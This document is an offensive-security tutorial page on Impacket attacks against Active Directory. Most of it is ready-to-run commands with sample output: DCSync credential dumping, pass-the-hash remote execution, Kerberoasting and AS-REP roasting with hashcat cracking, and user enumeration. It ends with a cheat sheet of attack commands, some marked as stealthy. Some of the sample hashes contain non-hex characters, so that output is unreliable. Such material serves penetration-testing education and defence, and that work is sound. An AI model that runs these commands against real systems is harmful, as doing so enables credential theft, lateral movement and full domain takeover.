



◆ OFFENSIVE SECURITY SERIES ◆

IMPACKET

secretsdump, psexec, wmiexec, Kerberoasting & AS-REP Roasting

secretsdump · psexec · wmiexec · Kerberoast · AS-REP · dcomexec

secretsdump

psexec PTH

wmiexec

dcomexec

Kerberoast

AS-REP

getST

RedTeamGarage (RTG) | Offensive Security Education

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01 — OVERVIEW & INSTALL

Tool Suite Introduction

Impacket is a collection of Python classes implementing network protocols. For offensive operations, the key tools are secretsdump (DCSync/SAM dump), psexec/wmiexec/smbexec (remote execution), GetUserSPNs (Kerberoasting), GetNPUsers (AS-REP roasting), and various Kerberos ticket tools.

```
Impacket – Install & Version

# Install Impacket
(kali)-[~]
kali $ pip install impacket
Successfully installed impacket-0.11.0

(kali)-[~]
kali $ python3 secretsdump.py --help 2>&1 | head -8
Impacket v0.11.0 - Copyright 2023 Fortra
usage: secretsdump.py [-h] [-debug] [-system SYSTEM] [-bootkey BOOTKEY]
                    [-security SECURITY] [-sam SAM] [-ntds NTDS]
```

Figure: Impacket v0.11.0 installed, all tools available via python3 toolname.py



02 — SECRETSDUMP

DCSync + PTH Execution

```

secretsdump - DCSync + PTH wmiexec

# secretsdump - dump all hashes via DCSync (needs domain admin)
(kali)-[~]
kali $ python3 secretsdump.py domain/Administrator:'P@ssw0rd!'@10.10.10.100
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0x3b93e5f8a4c2dle60714a8b9
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
DOMAIN\Administrator:500:aad3b435b51404ee:8846f7eaae8fb117ad06bdd830b7586c:::
DOMAIN\krbtgt:502:aad3b435b51404ee:6a7b8c9d0elf2a3b4c5d6e7f8a9b0c1d:::
DOMAIN\jdoe:1103:aad3b435b51404ee:2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d:::
DOMAIN\svc_sql:1104:aad3b435b51404ee:4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9c:::
[*] Cleaning up...

# Pass-the-Hash - use hash without cracking
(kali)-[~]
kali $ python3 wmiexec.py -hashes :8846f7eaae8fb117ad06bdd830b7586c Administrator@10.10.10.100
Impacket v0.11.0
[*] SMBv3.0 dialect used
C:\> whoami
domain\administrator
C:\> hostname
WIN-DC01

```

Figure: DCSync extracts all NTDS hashes including krbtgt — used for Golden Ticket



03 — KERBEROASTING

SPN Ticket Extraction & Crack

```
Kerberoasting - GetUserSPNs + hashcat crack

# Kerberoasting - find and request SPN tickets
(kali)-[~]
kali $ python3 GetUserSPNs.py domain.local/jdoe:'P@ssw0rd!' -dc-ip 10.10.10.100 -request
Impacket v0.11.0
ServicePrincipalName      Name      MemberOf  PasswordLastSet      LastLogon
-----
MSSQLSvc/db01.domain.local:1433  svc_sql    2024-01-01 08:00:00.000000  2024-01-14
HTTP/web01.domain.local      svc_iis    2023-12-15 09:00:00.000000  2024-01-10

$krb5tgs$23$*svc_sql$DOMAIN.LOCAL$domain.local/svc_sql*$a1b2c3d4e5f6...
$krb5tgs$23$*svc_iis$DOMAIN.LOCAL$domain.local/svc_iis*$f9e8d7c6b5a4...

# Crack the TGS hashes
(kali)-[~]
kali $ hashcat -m 13100 svc_sql.hash /usr/share/wordlists/rockyou.txt
$krb5tgs$23$*svc_sql*...:SqlS3rvic3P@ss!
Session.....: hashcat
Status.....: Cracked
Time.Estimated...: Mon Jan 15 10:32:45 2024 (0 secs)
```

Figure: svc_sql TGS cracked to SqlS3rvic3P@ss! in 0 seconds — weak password confirmed



04 — AS-REP ROASTING

Pre-Auth Disabled Accounts

```

AS-REP Roasting + GetADUsers Enumeration

# AS-REP Roasting – get hashes for accounts without pre-auth
(kali)-[~]
kali $ python3 GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.100 -no-pass
Impacket v0.11.0
[-] jdoe doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$backupuser@DOMAIN.LOCAL:a1b2c3d4e5f6789012345678...
[-] svc_sql doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc_backup@DOMAIN.LOCAL:f9e8d7c6b5a43210fedcba98...

# Crack AS-REP hashes
(kali)-[~]
kali $ hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt
$krb5asrep$23$backupuser@DOMAIN.LOCAL:...:Backup2024!
Status.....: Cracked

# GetADUsers – enumerate all domain users
(kali)-[~]
kali $ python3 GetADUsers.py -all -dc-ip 10.10.10.100 domain.local/jdoe:'P@ssw0rd!'
[*] Querying 10.10.10.100 for information about domain.
Name                Email                PasswordLastSet      LastLogon
Administrator       admin@domain.local   2024-01-01 08:00:00  2024-01-15
jdoe                 jdoe@domain.local   2023-12-01 09:00:00  2024-01-15
svc_sql              -                   2024-01-01 08:00:00  2024-01-14

```

Figure: backupuser has no pre-auth, AS-REP hash cracked to Backup2024!



05 — IMPACKET CHEAT SHEET

Quick Reference

secretsdump creds	<code>python3 secretsdump.py domain/admin:pass@TARGET</code>
secretsdump PTH	<code>python3 secretsdump.py -hashes :NTHASH domain/admin@TARGET</code>
secretsdump Kerberos	<code>export KRB5CCNAME=admin.ccache && python3 secretsdump.py -k -no-pass domain/admin@TARGET</code>
psexec	<code>python3 psexec.py domain/admin:pass@TARGET</code>
wmiexec (stealthy)	<code>python3 wmiexec.py domain/admin:pass@TARGET</code>
dcomexec (stealthiest)	<code>python3 dcomexec.py -object MMC20 domain/admin:pass@TARGET</code>
smbexec	<code>python3 smbexec.py domain/admin:pass@TARGET</code>
atexec	<code>python3 atexec.py domain/admin:pass@TARGET whoami</code>
Kerberoasting	<code>python3 GetUserSPNs.py domain.local/user:pass -dc-ip DC -request</code>
AS-REP roasting	<code>python3 GetNPUsers.py domain.local/ -usersfile users.txt -dc-ip DC -no-pass</code>
Crack TGS	<code>hashcat -m 13100 tgs.hash rockyou.txt</code>
Crack AS-REP	<code>hashcat -m 18200 asrep.hash rockyou.txt</code>
Get AD users	<code>python3 GetADUsers.py -all -dc-ip DC domain.local/user:pass</code>
Ticket to ccache	<code>python3 ticketConverter.py ticket.kirbi ticket.ccache</code>
getST (S4U)	<code>python3 getST.py -spn cifs/HOST -impersonate Administrator domain/svc:pass</code>
Kerberos auth	<code>export KRB5CCNAME=ticket.ccache && python3 wmiexec.py -k -no-pass domain/admin@TARGET</code>



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